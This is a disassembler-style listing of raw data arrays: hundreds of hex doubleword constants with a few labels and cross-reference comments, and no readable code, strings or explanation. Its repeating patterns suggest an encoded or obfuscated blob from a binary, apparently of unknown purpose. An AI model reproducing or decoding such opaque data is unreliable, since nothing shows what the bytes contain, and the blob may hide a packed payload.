dd 0AA697174h, 7D077DF2h, 0E3B20B58h, 1570A73Dh, 90691132h
dd 15668822h, 15664FDBh, 0C57EE32h, 3999ED80h, 7E2F558h
dd 249FF1CDh, 9069249Ah, 15661133h, 90EB71C7h, 13CE7EF1h
dd 156AAE3Dh, 91691132h, 15668834h, 1566C13Dh, 0C5992232h
dd 156C9D3Dh, 94068832h, 242FE9D8h, 74109364h, 1573953Dh
dd 93698832h, 1566443Dh, 156628DBh, 15A49A32h, 0F5808986h
dd 9CF711ACh, 0BAE75EB7h, 90A0ED34h, 13CE9DE7h, 1572AD74h
dd 32522232h, 0D013974Bh, 2D3BC2C3h, 0F6902CBEh, 31E742EAh
dd 0F20EBEC9h, 1AF24562h, 156651B8h, 1576CB32h, 0A2381132h
dd 0C52DD3E8h, 0D5CED1C5h, 24C8D866h, 0A099C419h, 13CEB9CBh
dd 15664CDBh, 0EFF2C532h, 75D9D9DCh, 0D6E3055Ch, 0E960EC08h
dd 9406F2CDh, 0FCE5C1EAh, 0DCD18723h, 7DE3CD53h, 1A608DB3h
dd 156616B6h, 14E28732h, 0ED664432h, 0B3A7F4h, 7520179Ah
dd 91783254h, 31ACC554h, 2E0E4302h, 0E0D73346h, 1577063Dh
dd 198F4432h, 80662232h, 721D6BAAh, 0E40D669Dh, 0EA3EFB02h
dd 0BD57DB87h, 90EBE834h, 13CEB2F1h, 58E1452h, 9A662232h
dd 2D7A1ADCh, 0DEE95607h, 8247FF97h, 4E169161h, 96A5AB6Ah
dd 0EA07DA44h, 1577ADE2h, 0D88D2232h, 6F60B3A8h, 0CCAEB0EBh
dd 0B510F16Ch, 9C85A894h, 0BAE77DB7h, 90A07D34h, 13CE51E7h
dd 156ECB74h, 0BAA91132h, 0DFEFA534h, 0F80E9B21h, 0FCB95BD8h
dd 15661137h, 0C4398158h, 0ECD3BB7Ah, 0EC608A03h, 0D6E39CCBh
dd 1A602008h, 156656BDh, 138F4232h, 7661132h, 810CC560h
dd 0DFE722CDh, 0EA07285Dh, 7E11EE2h, 0FC668832h, 1566443Fh
dd 3BC511D0h, 0B34A6A3Bh, 560F8BACh, 65E3CD09h, 75608DB3h
dd 15661DDAh, 17982232h, 179183B2h, 1955E74Dh, 156BF8F9h
dd 0A3E18832h, 0F5158EDBh, 0A0318097h, 4ED620F7h, 74B446B2h
dd 153FF9B1h, 1A66249Ah, 156694B7h, 156C6132h, 0D9AE4432h
dd 472EA6B1h, 0BDCDA1E9h, 0B30DF4h, 0EC35429Ah, 0AB867C5Ah
dd 943171FCh, 0D4FE4BE5h, 58E1D49h, 0C5662232h, 7A7A6135h
dd 9EEEF307h, 0A36E5D45h, 73754396h, 743CEFB9h, 0ECD377C7h
dd 1A60EC03h, 15663FB7h, 2E21E32h, 0FC668832h, 15664420h
dd 0E6A41F2h, 0AAB0809Eh, 12B633DCh, 20095842h, 90EBAA49h
dd 13CE2BF1h, 8C820852h, 35EBA2B3h, 0EA075ACCh, 90EFE4E2h
dd 13C9093Eh, 90A02552h, 13CE37E7h, 7D9FE475h, 0D2D7D6B5h
dd 16E94B52h, 73662232h, 68FC1B9h, 0FF668832h, 91E09284h
dd 0E6F1E39Fh, 769BE8BFh, 23D96649h, 0EA07CC30h, 0BD57DB87h
dd 2E11E34h, 75668832h, 15664ADBh, 50BC6332h, 997D3D8Ch
dd 6777FAAFh, 9E32A5EFh, 90EB43C5h, 13CE2BF1h, 156682DBh
dd 33850032h, 27908B67h, 1A6114A7h, 156687BEh, 156CAD32h
dd 0EBF32232h, 0CC44CDE9h, 9322A62h, 936994CDh, 1566221Fh
dd 156BF952h, 0F93F8832h, 4470E504h, 8358FEC5h, 4EF6B7E4h
dd 15669BDBh, 0F17D4032h, 2F1B7A7Dh, 28464425h, 1EB7A8ABh
dd 0FED08D0Bh, 90EFD753h, 13C99022h, 0D7F13052h, 9D690BF4h
dd 15662231h, 74A49A54h, 153F35B1h, 1A66429Ah, 156654B7h
dd 1561F832h, 0D798832h, 0B692BDE0h, 0C0E3E48Bh, 5260B927h
dd 0ECECE8CAh, 100E25CEh, 7580404Ch, 83BF9054h, 0EFD18793h
dd 0ECD3BB53h, 0FC608A03h, 15661138h, 0CE62A696h, 493ECC00h
dd 9893686Dh, 0BD5CD2B7h, 0CFE7E834h, 0D1E3583h, 75B6DD53h
dd 1565973Dh, 0E2E68832h, 39AFC4C3h, 1E3AB53h, 7560BEB3h
dd 156C0E3Dh, 108F4432h, 17662232h, 0ECB70F90h, 0D3077B80h
dd 0BD7391B7h, 7D936134h, 871C18C4h, 0A269E8CEh, 0A09925EDh
dd 13CE13CBh, 0D6E39CCBh, 0ED602008h, 9E6994CDh, 1566223Ah
dd 15649A3Dh, 74068832h, 947EC1BBh, 9969249Dh, 15661120h
dd 156685DBh, 2A2A0A32h, 46A7F384h, 627CD887h, 1E8F223Ch
dd 26664432h, 0CDB41345h, 7644DFEBh, 90A0C604h, 13CE51E7h
dd 1DE22D71h, 75661132h, 0D3593054h, 7D071A62h, 0E947B512h
dd 156605DBh, 27BFAC32h, 2A769BCh, 782C8390h, 0E884DB2Ch
dd 0DBD7A0ACh, 0ECD3BBF8h, 0E0608A03h, 2FA594BFh, 94068E9Ah
dd 0D60A07F2h, 5BBCA324h, 7404B2BCh, 9C9358CDh, 0BAE758B7h
dd 0A8E5DE34h, 13CE116Bh, 17E38732h, 1A664433h, 15663ABEh
dd 1575F832h, 551B8832h, 5D2268F3h, 301900A0h, 5CA1B347h
dd 1F3C4519h, 0C0E38262h, 56608A27h, 156602DBh, 672F4432h
dd 31F74E17h, 47AEA979h, 0A984D269h, 1D728F96h, 15CE475Ah
dd 916942B9h, 15661120h
dd 156685DBh, 0E3A18D32h, 0F530FB62h, 2A1715Ch, 749EFD6Ah
dd 249FF1CDh, 0E906249Ah, 15661ADBh, 0A7F9ED32h, 0AC89DD00h
dd 7B2DBB24h, 0D6E39C53h, 1A602008h, 156645B6h, 0C599D732h
dd 31E398CBh, 0E96027B3h, 0B3C1F4h, 0ED25249Ah, 4E50C45Ah
dd 157661D7h, 94604432h, 815743A0h, 4B00B4EEh, 0E44E5616h
dd 0A0994CE5h, 13CE13CBh, 0D6E39CC7h, 75602008h, 4A9ECF64h
dd 7507C283h, 1A7CD6B2h, 15668EB7h, 15E44B32h, 74662232h
dd 9406C1CDh, 6E1BD8D2h, 90EF2504h, 13C9A312h, 0FC51A352h
dd 15668826h, 0E1123928h, 8E624C4Eh, 64D16A18h, 0AFDE51C8h
dd 6EDA23C0h, 0C0E3E453h, 5660B927h, 156686DBh, 718DC32h
dd 1C492DABh, 0A32E5958h, 7DE2F0D6h, 0FFCC76D3h, 15662DDBh
dd 0F3B62532h, 0CF4FA833h, 0A21BAB2Fh, 7F6C9681h, 249FA4CDh
dd 18F8E9Ah, 19664432h, 0C5906525h, 78B2A63Ah, 84E141CAh
dd 929ADE4Dh, 9864DC98h, 0BD5CD2B7h, 1B8F7034h, 0B2664432h
dd 51C53337h, 0CDDBB6E3h, 8F5F1218h, 75B6BBC4h, 156BA73Dh
dd 128E1132h, 58668832h, 0F7FCC9C8h, 1A3D4F1Fh, 9C07D185h
dd 0BAE7A0B7h, 1560AD34h, 4FD2232h, 944F78CBh, 0B30DF4h
dd 0EC25429Ah, 0E4CA155Ah, 1BE81EB6h, 75668832h, 1566C63Dh
dd 0FAE72232h, 5E220B2Ch, 15696153h, 26D24432h, 75A5837Fh
dd 0A048A6F0h, 9C9C49F4h, 0ECD3BBABh, 75608A03h, 156614DBh
dd 0CEBE7C32h, 4E344794h, 0D6E3AF53h, 1A60B908h, 156698BBh
dd 156DAD32h, 0AB7D2232h, 1D360E98h, 81978F05h, 0FCB6BB2Eh
dd 15662235h, 801CDB34h, 75A9C68Fh, 156649DBh, 0DF5C1C32h
dd 0F510E454h, 91C79C7Ch, 9E69F6F4h, 15662237h, 2C2F768Dh
dd 90EFE974h, 13C9C51Eh, 15662FDBh, 0C1E46D32h, 9014613Ch
dd 18C9D89Dh, 90A0A67Eh, 13CE04E7h, 0AA00E87Dh, 7D0749B9h
dd 8253B2E6h, 0D4D11E52h, 741B7AB2h, 249FF1CDh, 989F249Ah
dd 0BD5CD2B7h, 15606134h, 21624432h, 0ECECD628h, 0FCB6EECAh
dd 15668835h, 0AD5AB303h, 1A8934B5h, 156601B9h, 156D6132h
dd 8D854432h, 71BD447Ah, 0AF60F36Fh, 25E30102h, 1A60EBB3h
dd 15662EBCh, 13E81E32h, 1A668832h, 156644BFh, 0C0E3E432h
dd 5A60B927h, 0D2EDEE52h, 74ADFB3Dh, 7B68205Ah, 1577F8CBh
dd 0DDAC8832h, 9B71D949h, 178F9C4Ah, 8DD218C3h, 0EA1EF8B1h
dd 0BD57BD87h, 0ACDD4234h, 0FC4B9A79h, 15668835h, 7AEC1E7Fh
dd 74163C01h, 2FA594BFh, 99698E9Ah, 1566443Eh, 1560A73Dh
dd 94691132h, 15668832h, 75B6BBCBh, 0DED12D64h, 90EF706Bh
dd 13C90906h, 156656DBh, 1C95D132h, 1F889D44h, 50CAA75Eh
dd 37865E2h, 0D3D8A492h, 0BD73C4B7h, 1E8FC534h, 7C664432h
dd 989D701Ah, 44BFB4A3h, 5C0E8982h, 0FCAE734Bh, 1566223Bh
dd 6B3CC8CEh, 0F346D04Eh, 0ECD3BBA3h, 0FC608A03h, 1566113Dh
dd 0F22CEB64h, 69BA79C7h, 96251304h, 98B0AC5Fh, 0BD5C4BB7h
dd 1577AD34h, 0D30E2232h, 576D156Ch, 0F7F83F80h, 0F93E7C7Bh
dd 0EAF38315h, 0FC06EDE2h, 15668820h, 42F2063Fh, 29640015h
dd 90B27EA7h, 346F4C63h, 9536A527h, 7438E1D8h, 945A94BBh
dd 94068E9Dh, 81AE56D0h, 0AA697458h, 0D30748E3h, 0BD735DB7h
dd 7D9F0934h, 0C9916FBBh, 0FFE77752h, 75071871h, 1565CD3Dh
dd 0AA692232h, 0A09970CBh, 13CEB9CBh, 0D6E3C9C7h, 75608A08h
dd 0E340D6B3h, 9AD7B982h, 75B6BB53h, 0AE6BE9B2h, 6F55C314h
dd 15686153h, 0C6494432h, 0ABEA042Ah, 419148A7h, 1E3567E1h
dd 945EC1BBh, 0D39F249Dh, 0BD73C4B7h, 9506DD34h, 9C691AFEh
dd 15662232h, 38517953h, 9F691429h, 15664420h, 0FD074252h
dd 1566113Ah, 38F5829Dh, 176FB3C6h, 0A099436Ah, 13CE20CBh
dd 0D6E305CEh, 7560EC08h, 1571A73Dh, 78F1132h, 0EC668832h
dd 11AE59AFh, 35C5AFFFh, 0A80FE449h, 1DE615C8h, 1560AC75h
dd 47E82232h, 2EC4323h, 95E8BC8Dh, 0EA071C04h, 1EEC2DE2h
dd 75661132h, 15660A3Dh, 0FBE64432h, 976943E7h, 15661133h
dd 55E301CAh, 1A60EBB3h, 15662AB2h, 17EA1E32h, 75668832h
dd 90A0BC53h, 13CE37E7h, 3F0EE971h, 0ECB45DC2h, 249FF1CDh
dd 1A06249Ah, 156614B5h, 79CA3732h, 0B9D919FCh, 7456197Ah
dd 2FA594BFh, 97698E9Ah, 1566443Ah, 1564AE3Dh, 74061132h
dd 48F58CDh, 7D664432h, 1E627CF4h, 8BD1A370h, 4D5EC1D0h
dd 80C763DEh, 9422A7BBh, 9069179Dh, 15668824h, 156655DBh
dd 2ECC5032h, 0AE7C941Dh, 179465Eh, 18355DB2h, 90A04A9Ah
dd 13CE04E7h, 0FF0E7160h, 0FC9B0686h, 15662221h, 3CC94933h
dd 0C9A407EDh, 1A4E5829h, 42E52F76h, 0EDA8DE3Eh, 249F3DCDh
dd 9406429Ah, 1D00CEC5h, 10EF1E57h, 73668832h, 34DF96B3h
dd 0D6E3AF53h, 0FC60B908h, 15668820h, 41F188EEh, 0BA9E0181h
dd 76BD527Bh, 9ADAF3CBh, 0C5994D6Bh, 84E3ABCBh, 0FC60B906h
dd 15668838h, 579FEC36h, 0D74CF27Ah, 90A0749Bh, 13CE9DE7h
dd 9569BC75h, 15662221h, 156B9D3Dh, 1D8F8832h, 4664432h
dd 1F91FD93h, 7DE7C7F9h, 0F7FED1ABh, 156ECE3Dh, 95062232h
dd 9E00EBF4h, 0A099E9FDh, 13CE75CBh, 156636DBh, 94668432h
dd 0AA2B31F6h, 3F1428ADh, 93966D5Eh, 179028BCh, 0D6E305FAh
dd 1A60EC08h, 15662EBDh, 13E01E32h, 1A668832h, 156644B2h
dd 0C599D732h, 156619DBh, 0B9B1BD32h, 0D23F81FFh, 18EC2D74h
dd 0FC661132h, 1566883Ah, 0FA9805C7h, 7BE0F226h, 942E94BBh
dd 73068E9Dh, 9E0086B9h, 198F43C3h, 16661132h, 36BD8B82h
dd 0F47A2652h, 0D38DE257h, 0BD73C4B7h, 7D9ECF34h, 0A49B24F0h
dd 1575CB52h, 2D4F1132h, 6BD1B8Ah, 0C9BAD9ECh, 4A6063DFh
dd 2C721786h, 9369E8FEh, 15664432h, 156625DBh, 0F20A1332h
dd 73B75D45h, 0A0992553h, 13CE13CBh, 15679E3Dh, 0ED938832h
dd 2FA5C1BFh, 0ED9A249Ah, 9C93C1CDh, 0BAE7C4B7h, 1CEB4B34h
dd 75662232h, 19D84B60h, 74534D3Fh, 0B3C1F4h, 0ED21249Ah
dd 0B398055Ah, 7E187EDh, 0FC664432h, 1566223Fh, 0DE7CE480h
dd 9AF487F4h, 7C26D1EDh, 0ECD3DDE0h, 0E060B903h
db 0BFh
byte_5C3A41 db 0Dh, 0A5h ; DATA XREF: ___:off_438438o
byte_5C3A43 db 2Fh ; DATA XREF: ___:off_43A570o
dword_5C3A44 dd 0EA93429Ah, 1561CBE2h, 85A21132h, 0C925343Dh, 45E3CDB8h
; DATA XREF: ___:off_43A568o
dd 0FC608DB3h, 15661122h
dd 0F81A417Dh, 0EF8900D3h, 0BFB3F485h, 3235356h, 0B30DF4h
dd 1A39429Ah, 156625B7h, 14EE1E32h, 0ED668832h, 0E70E2CCBh
dd 0EC06BC62h, 156614DBh, 0FD344732h, 1A07CA2Dh, 156637B0h
dd 1576F832h, 0E21A8832h, 7ACD4193h, 158840B8h, 36942F12h
dd 0A099F5DBh, 13CE75CBh, 0D6E3AFCBh, 7560B908h, 0D92D52B3h
dd 0CDED4A7Dh, 1569CB53h, 8C8A1132h, 0C0CE7863h, 22C4813Eh
dd 0EA5FDBF3h, 1AB6EE71h, 15668FB2h, 14EB4B32h, 0ED662232h
dd 943294BBh, 0D3938E9Dh, 0BD7391B7h, 68F6D34h, 30661132h
dd 0FC343EFCh, 69DA9EBCh, 7BF02424h, 0AFF7394Ch, 2A0EC153h
dd 75A1B849h, 1560AC3Dh, 97691132h, 15668832h, 6DF1FC65h
dd 7439025Dh, 249FA4CDh, 46068E9Ah, 0FC391385h, 1566223Eh
dd 72AE377Eh, 741C76E0h, 0D399D2BBh, 0D6E3AF53h, 0FC60B908h
dd 15668839h, 7E9A9A22h, 152D092Dh, 1A37B395h, 156689B2h
dd 0C599B132h, 157FAA3Dh, 98691132h, 15668821h, 15664ADBh
dd 442D1832h, 0ECABA9E0h, 1A57C28Fh, 9C95BC65h, 0BAE7A2B7h
dd 90A0ED34h, 13CE9DE7h, 156FAD75h, 0CC52232h, 0D979E7DEh
dd 7DC0827Ah, 0EF3D2A7Eh, 1574AA3Dh, 188F1132h, 6A668832h
dd 0E68B62D9h, 0C42D98F1h, 0F9FAEF2Eh, 0DDBA0852h, 74A6F33Dh
dd 249F97CDh, 78F179Ah, 8F668832h, 432443C0h, 5373D6E9h
dd 4E517D40h, 51DE04h, 0D6E3C995h, 0FC608A08h, 15661135h
dd 0E2E137B7h, 0EA9B2270h, 17EA2DE2h, 75661132h, 91E30153h
dd 0E060EBB3h, 0B3A7F4h, 0ED21179Ah, 1342455Ah, 0A099B1F1h
dd 13CE13CBh, 0D6E39CCBh, 1A602008h, 15665ABDh, 48F4232h
dd 52661132h, 8FAFBD87h, 3CDE7A14h, 54235DB0h, 0DF4A4E1Ch
dd 7F0962B3h, 0EA073205h, 0EF2DE2h, 0FC661132h, 15668822h
dd 39D56BEBh, 9A87440Ch, 77E76786h, 0BD0166C1h, 94EEC1BBh
dd 0FC06249Dh, 15661137h, 6DAC44F3h, 7463F088h, 0B3A7F4h
dd 0FC39179Ah, 1566883Bh, 38A55816h, 0D1500BD6h, 75AA7946h
dd 48F5C89h, 9F664432h, 0C8449A83h, 0E13704A3h, 0D2F0AE9h
dd 9F2437FEh, 0ECD3DDCEh, 0FC60B903h, 15668839h, 0A4F6E2E4h
dd 7C2C27F4h, 98C50D36h, 0BD5C4BB7h, 2EC4B34h, 75662232h
dd 1566943Dh, 1F8F8832h, 78664432h, 0B8A635CDh, 0BC493E37h
dd 0C599E95Ah, 1567C63Dh, 9C932232h, 0BAE749B7h, 90A07134h
dd 13CE51E7h, 1BE32D6Dh, 75661132h, 1566093Dh, 0E6E74432h
dd 35D020B7h, 5B0EED53h, 1AF86166h, 15664BB5h, 156CCB32h
dd 0D4661132h, 0C078F6DEh, 432F9C10h, 0ECD3DDCEh, 0FC60B903h
dd 15668822h, 0B1A2A2DFh, 0A8ECA23Dh, 0F07EB92Fh, 55882A00h
dd 2FA5C1BFh, 9169249Ah, 15661133h, 75B677CEh, 0C0E69DB9h
dd 90EF434Eh, 13C9906Eh, 156680DBh, 0F163A432h, 2111E2B3h
dd 0C0E3D79Dh, 4A602027h, 1561C03Dh, 94692232h, 15661133h
dd 3D2EE0CEh, 94699521h, 15662234h, 0C3B49152h, 0A099E9C7h
dd 13CE75CBh, 0D6E3AFCAh, 0ED60B908h, 1B8F58CDh, 89664432h
dd 0BEF7B953h, 0ED33EE89h, 0BD87E1D3h, 75E3CDDEh, 0ED608DB3h
dd 15661BDBh, 76EFDC32h, 0BB302B95h, 7F3AC367h, 1569F836h
dd 0D7258832h, 702FFD3Ah, 455E33CAh, 0B45ADF39h, 566E02Eh
dd 0FD064432h, 15662239h, 0F6B3284Dh, 61F0D473h, 94F9C365h
dd 0C0BFD5FAh, 1A064F3Bh, 156688B2h, 7498CF32h, 5664A53h
dd 0FC061132h, 1566883Dh, 746298D7h, 0BFF235C1h, 0DE875BBFh
dd 739DB755h, 74B4E489h, 1A062258h, 0AA69E18Dh, 8099E9E8h
dd 13CE648Fh, 0A0DE42CAh, 745E1C9Eh, 18530DBBh, 0A706429Ah
dd 10E82DE5h, 73661132h, 21377EB3h, 22E3C953h, 0FC608D7Ah
dd 15661138h, 6AEDF85Eh, 0D62911E6h, 0C599B444h, 1575943Dh
dd 92698832h, 1566443Fh, 15662ADBh, 7A008532h, 95B3DEDh
dd 75622E98h, 0FA759954h, 0FC3E4152h, 1566883Dh, 2F63B290h
dd 5007FC7Dh, 255DF441h, 741B15ABh, 5662C53h, 9A692232h
dd 15661135h, 15670A3Dh, 7D9F4432h, 15660232h, 15769B3Dh
dd 1E8F8832h, 0FD664432h, 882529A1h, 47AFECDDh, 150C1CA0h
dd 15664EDBh, 9A7CD332h, 0EEE317E5h, 0EADD815Ch, 0BD46F9A7h
dd 8BDF4234h, 0FD3D5DC3h, 15668837h, 8C87CC93h, 1A077B8Eh
dd 156604BEh, 15766132h, 1314432h, 3C7CC1AAh, 62BAEF6Eh
dd 0C8830D02h, 90EF1578h, 13CE38A3h, 24E398CBh, 0FC60202Ch
dd 15664438h, 3F6FCDDBh, 0AF303263h, 550CEAD2h, 156657DBh
dd 78F4F732h, 1EECCFC4h, 5140A8AAh, 144B8A18h, 0F5CB5F6Fh
dd 1576115Ah, 150E7D32h, 75664532h, 15E82D60h, 4D661132h
dd 74B10354h, 0EA9A4458h, 0BD469FA7h, 90EFE934h, 13CEBADFh
dd 7CD3CFC7h, 0ED608A29h, 0A238CB9h, 9E698E9Ah, 15664435h
dd 1567AA3Dh, 9C931132h, 0BD7C3987h, 19EA4B34h, 0FC662232h
dd 15661135h, 408EA0DDh, 9C86B589h, 0BD6A63AFh, 1577F834h
dd 0CD228832h, 0BAE1E3B9h, 0BFDCE2BCh, 65E27A01h, 9ECD2E41h
dd 0BD7901AFh, 96694234h, 15661137h, 7BAC0954h, 7467F29Ah
dd 156625DBh, 96BE1D32h, 11D5902h, 19ED77CDh, 11A2A116h
dd 159F92CBh, 2C6C0C3Dh, 108F4432h, 0D662232h, 0C44FC8FFh
dd 1533CE5Ah, 3162CD32h, 156628DBh, 81CF4232h, 3FBDD4C6h
dd 7D14EB09h, 15666E8Bh, 0E9421DBBh, 0D5577452h, 1570C23Dh
dd 96692232h, 15661122h, 156683DBh, 0E5C55932h, 0D9CCAFB8h
dd 0DC82DC57h, 15669ADBh, 0E424DC32h, 98528F7Bh, 8A1B5616h
dd 5FF96528h, 9C2564A9h, 0BD685FB7h, 9C697134h, 15668832h
dd 42076582h, 0FD5EF95Ah, 150E4E56h, 3C668832h, 0D439600Eh
dd 0FAE725DDh, 14503E60h, 0EC3976BBh, 6B1CFC62h, 0D34F1B41h
dd 3112126Ah, 6FA00912h, 0E95F374Ch, 156630DBh, 4C444D32h
dd 0F425254h, 0C36D9CF6h, 4B5648F3h, 7352C8FCh, 156D619Fh
dd 0E0164432h, 6509D3E2h, 76E97706h, 535FA5BFh, 5A6347D5h
dd 1662317Eh, 38463576h, 1175C47Dh, 0F2207D37h, 1576CB31h
dd 7FB41132h, 0A7629F91h, 6689B78Bh, 1602D345h, 0AC37035Dh
dd 1566884Ah, 24ED8533h, 94422EB9h, 156615F6h, 9D697132h
dd 1566443Ah, 1564A83Dh, 74061132h, 7E9A4EB3h, 0FBE769C3h
dd 5790BEAh, 35426531h, 3CBE4EB3h, 0FBE7542Dh, 389749CEh
dd 156601DBh, 360B0932h, 0E2DE4820h, 0AA776B5Fh, 0A5C1FF01h
dd 0AC3774B5h, 1566442Ah, 2CEDD333h, 96421DB9h, 1D8F8CF6h
dd 99664432h, 4CED3807h, 9CC307EFh, 0BD6DC98Fh, 1563AD34h
dd 0E7DA2232h, 900710BBh, 33E387CDh, 75664432h, 156ACB52h
dd 7BAE1132h, 16E7F18Ah, 5855F048h, 7406E193h, 0EEED7753h
dd 4A146053h, 0FC9F4432h, 15662735h, 38E79CAh, 19EF8832h
dd 94002416h, 95478DC5h, 420789F3h, 94429CB9h, 156640F6h
dd 156DCB32h, 47B91132h, 4FAD1EAh, 42138C46h, 11B449ECh
dd 60F398CBh, 1A60203Dh, 156648BFh, 13E12D32h, 1A661132h
dd 156688B4h, 0FC622E32h, 15662223h, 4BF59C0Fh, 1278E8FDh
dd 0ACA8BA8Ch, 82B8EF55h, 56679D4h, 128F8832h, 15664432h
dd 45675406h, 9C36CB88h, 15628DD2h, 0FDE54432h, 3162A536h
dd 3172986Eh, 1A66E2CBh, 156643BEh, 14E12D32h, 0EC661132h
dd 1561043Dh, 9E694432h, 15662233h, 0A8F3EECAh, 0EC602012h
dd 0BFBC1BBh, 9C69249Ah, 15661125h, 15669ADBh, 84DF4432h
dd 54B3850Bh, 0FBB73C6Ch
dd 59423C07h, 756208BFh, 156AAE3Dh, 128F1132h, 0D668832h
dd 37F1BEFDh, 0AC007720h, 45079686h, 5142BCB3h, 4F4BB556h
dd 71229A62h, 0D7573CC3h, 1577616Ah, 0B97D4432h, 0FBD9F4A3h
dd 6561C189h, 6E53E72Eh, 0EA11CFBAh, 943F0606h, 156615F6h
dd 0ED9FE832h, 14EE4B53h, 0EC662232h, 153856DAh, 7E48732h
dd 0FC664432h, 1566223Fh, 19B8B1CCh, 68381936h, 0A5F6BB22h
dd 118AA104h, 0EC4225BBh, 1572619Fh, 4DB54432h, 1A3436F3h
dd 0CC14C45Ch, 0BD8FFCB2h, 5EB53416h, 109AED5Ah, 7B960141h
dd 3142CC31h, 515FB65h, 0ED4F4CC2h, 1BEE1E6Dh, 75668832h
dd 1566C13Dh, 90692232h, 15661132h, 249EB953h, 1A9E75F5h
dd 156623B6h, 429FE932h, 29CB3765h, 69672336h, 4E392616h
dd 29CBFAB3h, 9669EF36h, 15664433h, 16BA4AC7h, 29EF1132h
dd 90697116h, 1566443Ah, 0BB6A352h, 740C777Fh, 0BB934802h
dd 9369B947h, 15662224h, 156600DBh, 0E2CA2932h, 3DE554E3h
dd 9EF7590Eh, 0AD9DC7Ch, 0FC06372Dh, 1566443Fh, 0C65C135Dh
dd 7631F147h, 0E53AD327h, 15E84B7Fh, 74662232h, 0EAD11E52h
dd 2199E9CBh, 0D1E51A16h, 0FAE7DE36h, 7C667EC0h, 90967B3h
dd 0CA4F2077h, 909E5B3h, 0D2E77577h, 7C66E7C0h, 5D92252h
dd 0D5D92D80h, 0F0EF4453h, 15624DB3h, 0F8E74432h, 15662236h
dd 49423DB5h, 0E0429CBBh, 9C62A8B1h, 1A3C060Eh, 15661BB3h
dd 0D3E7E832h, 4192D064h, 9E074352h, 0BD6B248Fh, 0EADF7434h
dd 1A99BBCDh, 15662AB7h, 17E81E32h, 75668832h, 75A67553h
dd 1A9D9D3Dh, 0E907D78Dh, 15DED863h, 9C664432h, 0E4677AF3h
dd 1A3F10B8h, 15668EB4h, 74062432h, 25074352h, 1561F8FAh
dd 9BB38832h, 310073Ch, 14DF73BAh, 14661132h, 0EA9AD1FCh
dd 39E7C306h, 0E919C516h, 31629A0Ch, 10624CB1h, 2B9A3BD5h
dd 0DCA7A252h, 2E91E53h, 0FC668832h, 15664420h, 4335AE63h
dd 6F101E58h, 8070859Bh, 46505A73h, 0FCA7A912h, 108F713Ah
dd 0D2668832h, 96D89615h, 156CCB62h, 20FD1132h, 0E64B3EDh
dd 5D7F7338h, 249F436Bh, 1A2CEDF3h, 0EA99E8B7h, 156DADCDh
dd 0DB762232h, 4664D209h, 14781A7Eh, 11E7151Ah, 323AD416h
dd 0AF344964h, 7D5C91BAh, 0F7E70670h, 688E6409h, 0B672FBB3h
dd 0C54F9A32h, 1574AD68h, 0AF6E2232h, 2BA5C610h, 3F6E8581h
dd 0F3B87ED8h, 942D2845h, 317A9662h, 9E15BC5h, 9B691C16h
dd 15662227h, 15699C3Dh, 1F8F8832h, 0A0664432h, 0E59FB459h
dd 104CF4B2h, 315277D4h, 11A2C768h, 17E62D52h, 75661132h
dd 13E48753h, 1A664432h, 156622B9h, 0AE357032h, 15668832h
dd 7FEA87B3h, 0C6673225h, 7FEAFAB3h, 16EF9825h, 4531B869h
dd 0B91F758Ah, 0C591592Fh, 386260F3h, 1B437C54h, 143EE5BBh
dd 9E064EC8h, 0DFD987C8h, 0F7EF1653h, 1562E0B3h, 0FFE71132h
dd 15668836h, 494250B5h, 0FC4236BBh, 15661139h, 878E6770h
dd 0CD145EB0h, 0EA28434Bh, 0BD686CB7h, 80ED7134h, 13CE4A4Fh
dd 156BCBC7h, 0ED991132h, 7998E4F9h, 0F74539F1h, 2C6F2B6Eh
dd 0BD6D50A7h, 8DE28734h, 0E0664432h, 464236B9h, 0D6E7F2BBh
dd 15668836h, 156287B3h, 9E12232h, 9E9A4D16h, 9C36AC06h
dd 156241D2h, 0D5E52232h, 31629636h, 0AF00E86Eh, 9400364Ah
dd 74D50DEAh, 156618DBh, 0ED1C6732h, 5FDDE8Eh, 0AC370FDFh
dd 78A70406h, 99A70973h, 94571F20h, 0F6BE61F3h, 4CA81052h
dd 14E88752h, 0ED664432h, 156627DAh, 1F5C6F32h, 1C8FB602h
dd 57664432h, 0B98AC37h, 0B9750067h, 878FE96Ah, 1A99BBCEh
dd 156630BFh, 156BF832h, 21B88832h, 0FC9A6056h, 0D3F4C6B2h
dd 0EA368792h, 943CAC06h, 156640F6h, 9E374232h, 749E49C9h
dd 4B42BCCDh, 756280B1h, 156628DAh, 0D227AD32h, 1581E70Ch
dd 0A6DE7311h, 68F7819h, 0A9661132h, 9BAACD52h, 7B2ED495h
dd 28F0A50Ah, 0E8ADB6CDh, 7407AA3Fh, 1567C03Dh, 0EA9F2232h
dd 963F3506h, 1A9F8CF6h, 15664CB5h, 17EE2D32h, 75661132h
dd 31620353h, 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h
dd 84E383CAh, 15608A1Ah, 0FC661132h, 15668839h, 0C5F831FBh
dd 7BC64C12h, 0FC214D12h, 15668838h, 0DAB9538h, 7EB1B8E2h
dd 90A1AFDAh, 13CEAFABh, 15664432h, 1567A23Dh, 96931132h
dd 0BAE6408Fh, 91694434h, 15662214h, 0B9FB9CCEh, 756026ABh
dd 76909889h, 11AAA261h, 94007153h, 74708BE9h, 9E0697CDh
dd 976942F9h, 15661132h, 9099E953h, 13CE48F3h, 156DA53Dh
dd 138F1132h, 94668832h, 12A6B5A9h, 0D4DBA1D2h, 7160B93Eh
dd 179B0A3Dh, 0D29A4432h, 0BD6AE3B7h, 15661034h, 15746132h
dd 69BA4432h, 96251304h, 66B0AC5Fh, 4AC5BA7Eh, 57EEA8B9h
dd 0E62D52h, 0FC661132h, 15668822h, 86D25E46h, 6C0A7E65h
dd 6151EE7Fh, 0E79892B4h, 45C2C1BFh, 1A06249Dh, 156614BDh
dd 9D053032h, 9E000261h, 0C59943CBh, 156E963Dh, 75068832h
dd 17D82253h, 1E8F43ADh, 6A661132h, 54855D0Bh, 4212D26Eh
dd 0A0EBBDB5h, 13C990AAh, 156698DBh, 53890432h, 0B5C22546h
dd 5ED37436h, 0FE9D78A8h, 19DBC940h, 0FC60923Eh, 15661123h
dd 51E404D8h, 0CA992164h, 0C38F68B7h, 4FA73735h, 0D8DBDDA4h
dd 14640F38h, 0E24F7FDDh, 1FABFEB3h, 78F8A79h, 90664432h
dd 0D2349EC2h, 0EC71EF8Bh, 0AD257075h, 13FE8546h, 0AB307502h
dd 5296813h, 1142FC03h, 0E7E71E6Ch, 5295B13h, 0A8EDE9CAh
dd 13CE8507h, 95691252h, 15662232h, 6331A868h, 7507A007h
